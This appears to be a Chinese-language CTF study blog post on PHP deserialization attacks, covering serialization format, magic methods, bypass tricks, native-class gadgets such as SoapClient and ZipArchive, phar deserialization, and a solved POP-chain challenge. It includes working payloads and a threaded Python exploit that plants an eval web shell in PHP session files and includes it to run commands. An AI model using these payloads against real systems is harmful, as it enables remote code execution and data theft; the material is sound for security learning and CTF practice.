[CTF/Web] PHP 反序列化學習筆記

Kengwang發表於2023-11-19

Serialize & unserialize

這兩個方法為 PHP 中的方法, 參見 serializeunserialize 的官方檔案.

以下內容中可能存在 欄位, 屬性, 成員 三個名詞誤用/混用, 但基本都表示 屬性

文章仍在完善之中, SESSION 反序列化漏洞要學廢了

入門

我們先看看方法的序列化之後的字串的格式是怎麼樣的:

首先每一個序列化後的小段都由; 隔開, 使用{}表示層級關係

資料型別 提示符 格式
字串 s s:長度:"內容"
已跳脫字元串 S s:長度:"轉義後的內容"
整數 i i:數值
布林值 b b:1 => true / b:0 => false
空值 N N;
陣列 a a:大小:
物件 O O:型別名長度:"型別名稱":成員數:
引用 R R:反序列化變數的序號, 從1開始

[!NOTE]

我們可以把物件的成員抽象為一個關聯陣列

我們的鍵只允許字串(關聯陣列)和整數型(數值陣列), 對與特殊的鍵將會進行轉換

例如 NULL 會轉成 空字串, true 會轉換成 整數1, false 會轉換成 整數2

其餘情況會被強轉成字串, 例如 陣列 會轉換成 Array

我們使用一個具體一點的示例來看看:

<?php

class Kengwang
{
    public $name = "kengwang";
    public $age = 18;
    public $sex = true;
    public $route = LearningRoute::Web;
    public $tag = array("dino", "cdut", "chengdu");
    public $girlFriend = null;
    private $pants = "red"; // not true
}

enum LearningRoute {
    case Web;
    case Pwn;
    case Misc;
}

$kw = new Kengwang();
print_r(serialize($kw));

我們可以看看序列化後的內容:

O:8:"Kengwang":7:{s:4:"name";s:8:"kengwang";s:3:"age";i:18;s:3:"sex";b:1;s:5:"route";E:17:"LearningRoute:Web";s:3:"tag";a:3:{i:0;s:4:"dino";i:1;s:4:"cdut";i:2;s:7:"chengdu";}s:10:"girlFriend";N;s:15:"Kengwangpants";s:3:"red";}

有些混亂, 我們按照層級關係理一理

O:8:"Kengwang":7:{ // 定義了一個物件 [O], 物件名稱長度為 [8], 物件型別數為 [7]
    s:4:"name";s:8:"kengwang"; // 第一個欄位名稱是[4]個長度的"name", 值為長度為[8]的字串([s]) "kengwang" 
    s:3:"age";i:18; // 第二個欄位名稱是長度為[3]的"age", 值為整數型([i]): 18
    s:3:"sex";b:1; // 第三個欄位名稱是長度為[3]的"sex", 值為布林型([b]): 1 -> true
    s:5:"route";E:17:"LearningRoute:Web"; // 第四個欄位名稱是長度為[5]的"route", 值為列舉型別([E]), 列舉值長度為 [17], 值為 "...":
    s:3:"tag";a:3:{ // 長度為 [3] 的陣列([a])
    	i:0;s:4:"dino"; // 第[0]個元素
    	i:1;s:4:"cdut";
    	i:2;s:7:"chengdu";
	}
	s:10:"girlFriend";N; // 欄位 "girlFriend" 為 NULL
	s:15:" Kengwang pants";s:3:"red"; // 私有欄位名稱為 型別名 欄位名, 其中型別名用 NULL 字元包裹
}

關於非公有欄位名稱:

  • private 使用: 私有的類的名稱 (考慮到繼承的情況) 和欄位名組合 \x00類名稱\x00欄位名
  • protected 使用: * 和欄位名組合 \x00*\x00欄位名

魔術方法

PHP 之中的物件擁有一個生命週期, 在生命週期中會呼叫 魔術方法, 可參見官方檔案.

對於魔術方法的詳細作用不在本文的討論重點.

__construct

建構函式, 在對應物件例項化時自動被呼叫. 子類中的建構函式不會隱式呼叫父類的建構函式.

在 PHP 8 以前, 與類名同名的方法可以作為 __constuct 呼叫但 __construct 方法優先

__wakeup

此方法在物件被反序列化時會呼叫

__sleep

此方法在物件被序列化時會呼叫

__toString

此方法在物件轉化成字串時會被呼叫.

當然, 因為 PHP 是一個弱型別語言, 很多情況物件會被隱式轉換成字串, 比如說

  • == 與字串比較時會被隱式轉換
  • 字串操作 (str系列函式), 字串拼接, addslashes
  • 一些引數需要為字串的引數: class_exists , in_array(第一個引數), SQL 預編譯語句, md5, sha1
  • print, echo 函式

__get

在讀取某些不可訪問或者不存在的欄位時會呼叫此方法, 傳入引數為欄位名稱

__set

給不可訪問和不存在的欄位賦值時會被呼叫, 傳入的引數第一個為欄位名, 第二個為賦值

__invoke

把物件當做函式呼叫時會使用, 例如 $foo()

當然不僅限於顯式呼叫, 將其作為回撥函式 (例如 array_map作為第一個引數傳入) 也會呼叫此函式

__call

呼叫無法訪問的方法時會呼叫

__isset

在對不可訪問的欄位呼叫 isset 或者 empty 時呼叫

__unset

不可訪問的欄位使用 unset 時觸發

__debugInfo

在使用 var_dump, print_r 時會被呼叫

剩下的直接貼出其他師傅整理好的:

__call()		// 在物件上下文中呼叫不可訪問的方法時觸發
__callStatic()	// 在靜態上下文中呼叫不可訪問的方法時觸發
__set_state()	// 呼叫var_export()匯出類時,此靜態方法會被呼叫
__clone()		// 當物件複製完成時呼叫
__autoload()	// 嘗試載入未定義的類

魔術方法執行順序

對於魔術方法的呼叫順序, 不同的情況下會有不同的順序

首先, 一個物件在其生命週期中一定會走過 destruct, 只有當物件沒有被任何變數指向時才會被回收

當使用 new 關鍵字來建立一個物件時會呼叫 construct

對於序列化/反序列化時的情況:

序列化時會先呼叫 sleep 再呼叫 destruct, 故而完整的呼叫順序為: sleep -> (變數存在) -> destruct

反序列化時如果有 __wakeup 則會呼叫 __wakeUp 而不是 __construct, 故而邏輯為 __wakeUp/__construct -> (變數存在)

當然, 也會有不遵守這個呼叫順序的情況, 後面繞過裡面會進行討論

由此, 我們可以利用物件反序列化來構造 POP 鏈, 我們可以看一道題

2023年 SWPU NSS 秋季招新賽 (校外賽道) - UnS3rialize, 在文章最底部

繞過

非公有欄位繞過

對於 php7.1+ 版本, 反序列化時若提供的命名為公有欄位格式, 會忽略掉非公有欄位的訪問性, 而可以繞過直接直接對其賦值

這個時候我們有兩種方法可以

  1. 在寫序列化 php 檔案時可以直接將欄位改成 public
  2. 修改序列化後的欄位名, 改為公開欄位的樣式, 記得修改字元數

繞過 __wakeup

參見 CVE-2016-7124

利用條件:

  • php5: <5.6.25
  • php7: <7.0.10

當反序列化時, 給出的欄位個數的數字小於提供的欄位個數, 將不會執行 __wakeup

例如:

O:4:"Dino":1:{s:4:"addr";s:3:"209";}

改為:

O:4:"Dino":114514:{s:4:"addr";s:3:"209";}

十六進位制繞過字元匹配

我們可以使用十六進位制搭配上已跳脫字元串來繞過對某些字元的檢測

例如:

<?php
class Read
{
    public $name;

    public function __wakeup()
    {
        if ($this->name == "flag")
        {
            echo "You did it!";
        }
    }
}


$str = '';
if (strpos($str, "flag") === false)
{
    $obj = unserialize($str);
}
else
{
    echo "You can't do it!";
}

這裡檢測了是否包含 flag 字元, 我們可以嘗試使用 flag 的十六進位制 \66\6c\61\67 來繞過, 構造以下:

'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}'

順便貼一個 Python 指令碼, 可以將字串轉換為 Hex

str = input('Enter a string: ')
print('\\' + str.encode('utf-8').hex('\\'))

利用好引用

對於需要判斷兩個變數是否相等時, 我們可以考慮使用引用來讓兩個變數始終相等.

這個相當於一個指標一樣, 程式碼如下:

class A {
    public $a;
    public $b;    
}

$a = new A();
$a->a = &$a->b;
echo serialize($a);

序列化後的結果為:

O:1:"A":2:{s:1:"a";N;s:1:"b";R:2;}

物件反序列化正則繞過

有些時候我們會看到^O:\d+ 這種的正規表示式, 要求開頭不能為物件反序列化

這種情況我們有以下繞過手段

  1. 由於\d只判斷了是否為數字, 則可以在個數前新增+號來繞過正規表示式
  2. 將這個物件巢狀在其他型別的反序列化之中, 例如陣列

當然, 第一種更佳. 因為若不只匹配開頭則仍可以繞過

字元逃逸

對於字元逃逸, 由於 PHP 序列化後的字元型別中的引號不會被轉義, 對於字串末尾靠提供的字元數量來讀取, 對於服務端上將傳入的字串實際長度進行增加或減少(例如替換指定字元到更長/短的字元), 我們就可以將其溢位並我們的惡意字串反序列化.

這種情況下我們通常只能控制其中的一個字元變數, 而不是整個反序列話字串. 題目會將其先序列化, 再進行字元處理, 之後再反序列化. (類似於將物件儲存到資料庫)

例如我們有如下過濾機制:

<?php

class Book
{
    public $id = 114514;
    public $name = "Kengwang 的學習筆記"; // 可控
    public $path = "Kengwang 的學習筆記.md";
}

function filter($str)
{
    return str_replace("'", "\\'", $str);
}

$exampleBook = new Book();
echo "[處理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[處理後]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[檔案路徑] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";

此程式碼會將其中的單引號過濾成為轉義+單引號, 此時字串的長度會進行變化, 我們可以利用這一點使 name 中的東西溢位到 path 中.

我們構造惡意字串時需要先將前面的雙引號閉合,同時分號表示此變數結束. 在攻擊變數結束之後我們需要用 ;} 結束當前的序列化, 會自動忽略掉這之後的序列化.

我們的每一個單引號會變成兩個字元, 於是可以將我們的惡意字元給頂掉, 我們只需要提供 惡意字串長度 個會被放大變成兩倍的字元.

當然如果不是兩倍, 我們可以靈活運用 + 來進行倍數配齊

例如我們需要惡意構造 ";s:4:"path";s:4:"flag";}s:4:"fake";s:34:, 長度為 41, 於是我們提供 41 個'

最終給 name 的賦值為

Kengwang 的學習筆記'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:

我們可以執行一下試試:

[處理前]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的學習筆記'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的學習筆記.md";}
[處理後]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的學習筆記\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的學習筆記.md";}
[檔案路徑]
flag

可以看到 path 被替換成了 flag

當然有字元增加就會有字元減少, 對於字元減少, 我們假設有如下情況:

<?php

class Book
{
    public $id = 1919810;
    public $name = "Kengwang 的學習筆記"; // 可控
    public $description = "The WORST Web Security Leaning Note"; // 可控
    public $path = "Kengwang 的學習筆記.md";
}

function filter($str)
{
    return str_replace("'", "", $str);
}

$exampleBook = new Book();
echo "[處理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[處理後]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[檔案路徑] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";

這裡把反引號給過濾掉了, 我們先拿到正常的序列化後的串

O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:24:"Kengwang 的學習筆記";s:11:"description";s:35:"The WORST Web Security Leaning Note";s:4:"path";s:27:"Kengwang 的學習筆記.md";}

我們需要讓 ";s:11:"description";s:35: 被吞掉作為 name 變數的值, description的前引號會將其閉合, 此後 description 中的就會逃逸出成為反序列化串, 於是我們在 name 中填入 要被吞掉的字元數目 個', 於是嘗試

name 賦值為 Kengwang Note''''''''''''''''''''''''''

description 賦值為 ;s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"

得到結果如下

[處理前]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note''''''''''''''''''''''''''";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的學習 筆記.md";}
[處理後]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的學習筆記.md";}
[檔案路徑]
flag

利用不完整類繞過序列化迴旋鏢

我這起的什麼名字啊

當存在 serialize(unserialize($x)) != $x 這種很神奇的東西時, 我們可以利用不完整類 __PHP_Incomplete_Class 來進行處理

當我們嘗試反序列化到一個不存在的類是, PHP 會使用 __PHP_Incomplete_Class_Name 這個追加的欄位來進行儲存

我們於是可以嘗試自己構造一個不完整類

<?php
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(serialize(unserialize($raw)) == $exp); // true

這樣就可以繞過了

更近一步, 我們可以透過這個讓一個物件被呼叫後憑空消失, 只需要手動構造無__PHP_Incomplete_Class_Name的不完整物件

PHP 會先把他的屬性給建立好, 但是在建立好最後一個屬性後並未發現 __PHP_Incomplete_Class_Name, 於是會將前面建立的所有的屬性回收並引發 __destruct

當然, 要達成這種在反序列化後的變數還存在的時候引發 destruct, 還有下面這一種方法

Fast Destruct

還有一種叫做 fast destruct 的神奇操作, 同樣也是為了在序列化過程中, 在已經建立好了屬性的物件之後引發反序列化錯誤, 導致全部屬性被回收而 destruct, 這種手法要比上一種簡單一點點:

  • 改變序列化的元素數字個數 (往小的寫)
  • 刪掉最後一個} (這是什麼爽的操作)

這個可以參考 強網杯 2021 WhereIsUWebShell, 可以去看看其他師傅的解法, 我在看的時候看到了很多奇特的繞過手法.

利用

原生類應用

當然, 我們反序列化也可以反序列化 PHP 中存在的類, 我們可以利用這些類存在的一些魔術方法來進行利用

我們可以透過指令碼來獲取到這些類:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            echo $class . '::' . $method . "\n";
        }
    }
}

輸出的內容有點多就不在這裡貼出來了, 我們關注幾個原生類

SoapClient

PHP 中預設未啟用此擴充套件, 需要修改 php.ini, 取消 extension=soap 前的註釋

SoapClient 可以進行 HTTP/HTTPS 的請求, 但是不會輸出服務端輸出的內容. 不過, 我們仍然可以利用這個來進行內網滲透.

我們透過上面的指令碼可以找到 SoapClient 類中存在 SoapClient::__call, 當我們呼叫一個不存在的方法時會轉發到此方法, 同時請求給服務端

對於 SoapClient 的反序列化, 我們可以控制很多地方的引數,

  • location (SoapClientlocation),這樣就可以傳送請求到指定伺服器
  • uri (SoapClienturi), 由於這一串最後會到 Header 裡的 SOAPAction, 我們可以在這裡注入換行來新建 Header 項, 注意這裡的會自動給傳入的內容包裹上雙引號
  • useragent (SoapClient_user_agent), 由於 User-Agent 段在 Content-Type 的上方, 我們可以透過對 useragent 換行來覆蓋掉預設的 text/xml 的請求型別. 由於預設是 POST 請求, 結合起來我們就可以對指定伺服器傳送任意 POST 請求.

Exception / Error 類利用

如果 php 檔案沒有禁用報錯輸出, 我們可以利用 Exception 的列印時會呼叫 __toString 來列印報錯資訊, 於是我們便可以在報錯資訊 (Exception Message) 中進行 XSS 注入.

同時也可以繞過雜湊比較, 當兩個報錯類, 一個 Exception, 一個為 Error, 雖然他們兩個物件型別不等, 但經過 __toString 後都一致, 可以利用他來繞過 PHP 中的雜湊比較

檔案操作

ZipArchive 類刪除檔案

是不是很神奇, 這個能把檔案刪除了!

ZipArchive 中存在 open 方法, 引數為 (string $filename, int $flags=0), 第一個為檔名, 第二個為開啟的模式, 有以下幾種模式

ZipArchive::OVERWRITE	總是以一個新的壓縮包開始,此模式下如果已經存在則會被覆蓋或刪除
ZipArchive::CREATE		如果不存在則建立一個zip壓縮包
ZipArchive::RDONLY		只讀模式開啟壓縮包
ZipArchive::EXCL		如果壓縮包已經存在,則出錯
ZipArchive::CHECKCONS	對壓縮包執行額外的一致性檢查,如果失敗則顯示錯誤

我們可以發現當 flagoverride (8) 時, 會將目標檔案先進行刪除, 之後由於並沒有進行儲存操作, 於是檔案就被刪除了

ByteCTF 2019 - EZCMS 中有出現過

其他

當然, 原生類還有其他用途, 但是由於反序列化的限制無法被利用, 這裡也貼出來吧

SQLite3 類建立檔案

可以利用此建立本地資料庫的能力來建立一個檔案

DirectoryIterator / FilesystemIterator 列出檔案

這兩個類在進行 toString 操作後會返回當前目錄中的第一個檔案

還有一個特殊的 GlobIterator, 不需要 glob:// 就可以遍歷目錄

SplFileObject 讀取檔案

該方法不支援萬用字元並且只能獲取都愛第一行, 但是當走投無路的時候也不失為一種方法

閉包 (Closure)

閉包在 PHP 5.3 版本中被引入來代表匿名函式, 直接將其作為函式來呼叫. 但是會收到 PHP 的安全限制而無法反序列化.

當然, 我們可能會發現一些第三方的 Closure 庫並沒有沒安全限制, 利用這些來反序列化也異曲同工.

Reflection系列 反射

可以參考 PHP 手冊: https://www.php.net/manual/en/book.reflection.php

反射可以讓你獲取到指定類,函式等的程式碼, 可以利用其進行輸出

SimpleXMLElement XML 讀取

可以把這個和 XXE 結合起來實現檔案讀取

Phar 反序列化

Phar 相當於一個打包了 php 檔案的壓縮包. Phar 是PHP 5.3 中新增的特性。 它能夠在打包 PHP 檔案,這對透過單個檔案釋出應用程式或庫有很大幫助。

勾起以前開 MC 基岩版外掛服的回憶了

Phar 會以序列化的方式儲存 meta-data (manifest), 當我們使用 phar:// 協議讀取 Phar 檔案的時候, PHP 會將其反序列化. 幾乎所有的檔案讀取函式都收到了此影響,

參見 https://paper.seebug.org/680/ 以及 https://blog.zsxsoft.com/post/38

我們需要在本地環境的 php.ini 中將 ;phar.readonly = On 改為 phar.readonly = Off

我們可以先構建一個惡意 phar 檔案. 這裡直接抄 H3 佬的:

<?php
    class D1no{
    }
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //字尾名必須為phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub
    $o = new D1no();
    $phar->setMetadata($o); //將自定義的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //新增要壓縮的檔案
    //簽名自動計算
    $phar->stopBuffering();
?>

之後我們就可以將此檔案上傳到伺服器, 再透過檔案操作函式呼叫, 例如 phar://test.phar/test 來讓他開啟 phar 檔案

當然在上面引用的兩篇文章中可以看到還有很多意想不到的地方也受到了影響

當然, 如果存在某些校驗, 我們也可以透過一些手段繞過.

如果不允許 phar 出現在檔案路徑開頭, 我們可以套上其他的協議: compress.bzip://, compress.bzip2://, compress.zlib:// php://filter/resource=

SESSION 反序列化漏洞

這裡我們主要利用 session.upload_progress 來進行利用.

我們要先知道, 如果沒有特別配置的話, session 通常儲存在伺服器上的某個資料夾中, 並且檔名通常為 sess_{你的SESSION_ID}

由於他儲存時時透過反序列化, 所以原本的字串會被保留. 於是我們可以注入 PHP 程式碼, 再透過檔案包含執行他

利用條件:

  1. 可以進行任意檔案包含 (或允許包含 session 儲存檔案)
  2. 知道session檔案存放路徑,可以嘗試預設路徑
  3. 具有讀取和寫入session檔案的許可權

這裡我們就抄一下 H3 佬的一個 exp:

若伺服器存在檔案 test.php:

<?php
$b = $_GET['file'];
include "$b";
?>

我們可以使用類似條件競爭的方法來進行, 下面是 Python, 我加一點點註釋:

利用指令碼

import io
import requests
import threading
sessid = 'KW'
data = {"cmd":"system('cat /flag');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50) # 建立 dummy 資料
        resp = session.post( 'http://[ip]/test.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('KW.txt',f)}, cookies={'PHPSESSID': sessid} ) # 注入惡意程式碼到儲存的 SESSION 中
def read(session):
    while True:
        resp = session.post('http://[ip]/test.php?file=session/sess_'+sessid,data=data) # 包含 SESSION 檔案, 執行惡意程式碼
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
            break
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

如果是反序列化的話, 我們也可以進行反序列化注入

如果我們的檔名可控, 我們在之前放上 | 表示前面的是鍵名, 後再寫入惡意程式碼. 注意引號要進行轉義

便可有exp

內容可以參考: PHP安全學習—反序列化漏洞 - 利用session.upload_progress進行反序列化攻擊 by H3rmeskit

題目

題源: 2023年 SWPU NSS 秋季招新賽 (校外賽道) - UnS3rialize

題目原始碼:

<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "Congratulations!!!You have learned to construct a POP chain<br/>";
        system($this->cmd);
    }
    function __wakeup()
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{
    public $whoami;
    function __get($argv)
    {
        echo "what do you want?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{
    public $sth;
    function __toString()
    {
        echo "Now you know how to use __toString<br/>There is more than one way to trigger";
        return $this->sth->var;
    }
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "Now you know how to use __construct<br/>";
                echo "your notes".$this->notes;
        }else{
            die("N0!");
        }
    }
}



if (isset($_GET['ser'])) {
    $ser = unserialize(base64_decode($_GET['ser']));
} else {
    echo "Let's do some deserialization :)";
}

我們可以分析這道題

  • 看到在 NSS 類的 __invoke 下存在 system 執行, 需要將 NSS 類作為函式呼叫
  • C 類的 __get 方法將 whoami 進行呼叫 (這裡使用了中間變數中轉), 我們將其賦值為 NSS 類, 我們需要找到訪問非法欄位的地方
  • T__toString 下訪問了 sthvar (var 非法), 我們將其賦值為 C 類, 需要找到字串呼叫的地方
  • F 中的 __destruct 存在對 note 字串拼接, 將其賦值為 T, 發現需要userpasswd滿足條件

於是我們構造如下反序列化鏈

<?php
class NSS
{
    public $cmd = "cat /flag";
}

class C
{
    public $whoami;
}

class T
{
    public $sth;
}

class F
{
    public $user = "SWPU";
    public $passwd = "NSS";
    public $notes;
}

$f = new F("SWPU", "NSS");

$t = new T();
$c = new C();
$nss = new NSS();
$c->whoami = $nss;
$t->sth = $c;
$f->notes = $t;
echo serialize($f);

即可拿到 flag


參考資料

相關文章